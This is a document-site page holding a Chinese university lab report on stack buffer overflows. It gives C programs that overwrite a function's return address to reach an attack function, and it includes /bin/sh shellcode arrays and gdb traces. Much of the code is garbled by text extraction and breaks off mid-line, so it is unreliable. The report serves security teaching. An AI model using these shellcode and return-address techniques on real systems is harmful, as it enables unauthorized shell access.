




已阅读5页,还剩9页未读, 继续免费阅读
版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
缓冲区溢出攻击实验【实验要求】1)基本要求:编写一个能实现缓冲区溢出(整数溢出或堆栈溢出)的程序。语言不限(c,c+,c#,java等均可),环境也不限(linux或windows等)。并在调试状态下(如linux的gdb或其他集成开发环境的调试命令)查看寄存器和相应存储单元内容的变化情况。分析并解释缓冲区溢出的原因。提交:分析文档(要给出调试过程和运行过程中的一些必要的截图),源代码等。 2)提高要求:在上述溢出的情况下,改写ret地址,增加shellcode代码,实现本地或远程管理员权限的非授权访问。例:一个简单的shellcode程序:/* linux下的一个程序*/ include void main() char *name2; name0=/bin/sh; name1=NULL; execve(name0,name,NULL); 也可用gdb对其反汇编(主要分析execve和exit函数调用的机器指令),获得相关的汇编代码,进一步处理为16进制机器代码,形如char shellcode=xebxlf.binsh;然后利用strcpy等脆弱性函数植入shellcode.【实验原理】实验主要是利用getchar()等脆弱性函数在执行时没有检查缓冲区长度的特性,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。1、 局部变量与堆栈的关系在一个程序中,会声明各种变量。静态全局变量是位于数据段并且在程序开始运行的时候被初始化,而局部变量则在堆栈中分配,只在该函数内部有效。如果局部变量使用不当,会造成缓冲区溢出漏洞。例如,以下程序将会由于getchar()没有检查缓冲区,导致输入溢出:#include int main()char ch3;int i = 0;while(chi+ = getchar() != n);printf(i = %d %sn, i, ch);return 0;2、 利用堆栈溢出运行攻击代码攻击的最关键在于利用缓冲区溢出部分的数据覆盖堆栈,用特定的地址替换堆栈中的返回地址,这样当函数调用返回的时候就会把我们替换的返回地址弹出到当前基址,继续执行就会转入我们想要跳转的地址执行事先设定好的代码段了。【实验环境】操作系统: Ubuntu 10.10GDB版本:Ubuntu/Linaro 7.2-1ubuntu11 i686-linux-gnuCPU型号:AM 245【实验过程】1、 基础演示缓冲区溢出1 #include 2 int i = 0; 3 void attack() 4 5 printf(hello, thiss attack functionn); 6 7 void get() 8 9 int a = 0; 10 unsigned char ch3; 11 int *ret = 0; 12 printf(%xn%xn, &a, &ch); 13 /while(chi+ = getchar() != n); 14 /while(scanf(%d, chi+); 15 while( i 8) % 256; 19 chi+ = (char)(int)&attack 16) % 256; 20 chi+ = (char)(int)&attack 24) % 256; 21 printf(i = %d %d %sn, i, a, ch); 22 /ret = &i + 5; 23 /*ret -= 12; 24 /return 0; 25 26 27 int main() 28 29 /int i = 0; 30 get(); 31 printf(hellon); 32 printf(%dn, i); 33 return 0; 34 对exp_flow.c进行编译:gcc -g -fno-stack-protector -z execstack -o flow1 exp_flow1.cobjdump -d flow1 /对flow1进行反汇编堆栈:高位地址 参数1参数2.参数n函数返回地址 0xbffff28cebpebx(在栈里分配 0x24个位置).esp-0xc 0xbffff27c (int *ret)esp-0x10 0xbffff278 (int a) esp-0x13 0xbffff275 (char ch3) 低位地址(gdb) print /x &a /int a 的地址$6 = 0xbffff278(gdb) print /x &ch /char ch3 数组的首地址$7 = 0xbffff275(gdb) print /x &ret /int *ret 的地址$8 = 0xbffff27cvoid get();/函数的返回地址为:0x080483fr1718行是数组溢出到get()的返回地址的所在栈位置处(0xbffff28c),所以用函数attack()的入口地址来覆盖get() 的返回地址的栈位置的值,即把返回地址改为指向attack()函数的入口地址。执行结果如下,跳到了attack()的入口地址去了,溢出成功。2、 缓冲区溢出执行shellcode源码:#include #include int i = 0;void get() int a = 0; int b = 0; int *ret = 0; unsigned char ch46 = xebx1f x5e x89x76x08 x31xc0 x88x46x07 x89x46x0c xb0x0b x89xf3 x8dx4ex08 x8dx56x0c xcdx80 x31xdb x89xd8 x40 xcdx80 xe8xdcxffxffxff /bin/sh ; printf(%xn%xn, &ret, &ch); ret = &ch70; /一直溢出到返回地址,中间省略了其它填充代码。*ret = (int)ch; /修改返回地址,让其指向数组ch的首地址。printf(%dn, strlen(ch); int main() get(); printf(hellon); printf(%dn, i); return 0; shellcode必须放在一个空间,而且这个空间没有溢出,不然会出错。执行结果:实验所遇到的问题:#include #include int i = 0;const unsigned char shellcode =x31xc0 x50 x68/sh x68/bin x89xe3 x50 x53 x89xe1 x99 xb0x0b xcdx80;void attack()printf(hello, thiss attack functionn);void get()int a = 0;int b = 0;int c = 0;unsigned char ch4;int *ret = 0;unsigned char code =xebx1f x5e x89x76x08 x31xc0 x88x46x07 x89x46x0c xb0x0b x89xf3 x8dx4ex08 x8dx56x0c xcdx80 x31xdb x89xd8 x40 xcdx80 xe8xdcxffxffxff /bin/sh;printf(%xn%xn, &ret, &ch);memcpy(ch, shellcode, sizeof(shellcode);i = strlen(shellcode)+4;chi+ = (char)(int)(&ch) % 256;chi+ = (char)(int)(&ch) 8) % 256;chi+ = (char)(int)(&ch) 16) % 256;chi = (char)(int)(&ch) 24) % 256; memset(ch + i + 1,0x41,100);/ret = &chi-3;/*ret = (int)code;printf(%dn, strlen(ch);/(void(*)()&ch)();int main()get();printf(hellon);printf(%dn, i);return 0;执行结果出错,段错误:gdb中查看内存结果如下:ch数组的首地址为:0xbffff270get()的返回地址在0xbffff28c ,但被正确修改指向ch的首地址了中间溢出的结果如下。从ch的首地址0xbffff270一直到0xbfff287,共24byte,都是存放着shellcode,gdb调试结果,如下错误出现在0xbffff280.问题求解过程:一直想不明白这是为什么。已经把get()的函数返回地址指到数组ch(4byte)的首地址,然后用shellcode的内容一直溢出,把int a, int b, int c 都覆盖掉,一直覆盖到函数返回地址的前4个byte,再修改返回地址,指向ch的首地址。后来发现,原来是 shellcode不正确,换成其它shellcode就可以正确跑起来了。#include #include int i = 0;void get() int a6; unsigned char ch10; /int *ret = 0; unsigned char code = xebx1f x5e x89x76x08 x31xc0 x88x46x07 x89x46x0c xb0x0b x89xf3 x8dx4ex08 x8dx56x0c xcdx80 x31xdb x89xd8 x40 xcdx80 xe8xdcxffxffxff /bin/sh ; memcpy(ch, code, sizeof(code); i = sizeof(code); chi+ = (char)(
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2025山东淄博市博山区供热保障服务中心招聘供热管家14人笔试备考试题附答案详解(b卷)
- 2024辅警招聘考试模拟试题附答案详解(综合卷)
- 公务员考试《常识》考前冲刺练习含答案详解(轻巧夺冠)
- 2025辽宁沈阳高瑞知识产权运营有限公司招聘笔试模拟试题附答案详解(模拟题)
- 中小企业数字化转型案例分析与启示
- 人教版9年级数学上册《概率初步》章节测试试题(含解析)
- 唐前期的兴盛
- 绿色能源2025技术创新与环保责任融合发展模式创新趋势研究分析趋势报告
- 2025年新能源汽车高压电气设备防火防爆技术探讨报告
- 2025年中级注册质量师考试(质量专业综合知识)经典试题及答案一
- 2025年领导干部任前廉政法规知识考试题库(含答案)
- 2025年四川基层法律服务工作者执业核准考试仿真试题及答案一
- 信息技术基础教程(WPS版)课件 第3章 Windows 10 操作系统的使用
- 小鹿斑比题目及答案
- 中学知识竞赛试题及答案
- 2024超声法检测混凝土缺陷技术规程
- 2025-2030中国建筑行业供应链金融发展现状与前景分析
- 2025-2026学年人教版(2024)初中物理八年级上册教学计划及进度表
- 《民间纠纷调解》全套教学课件
- 医院环境感染监测制度
- 医院一键式报警系统建设与实施
评论
0/150
提交评论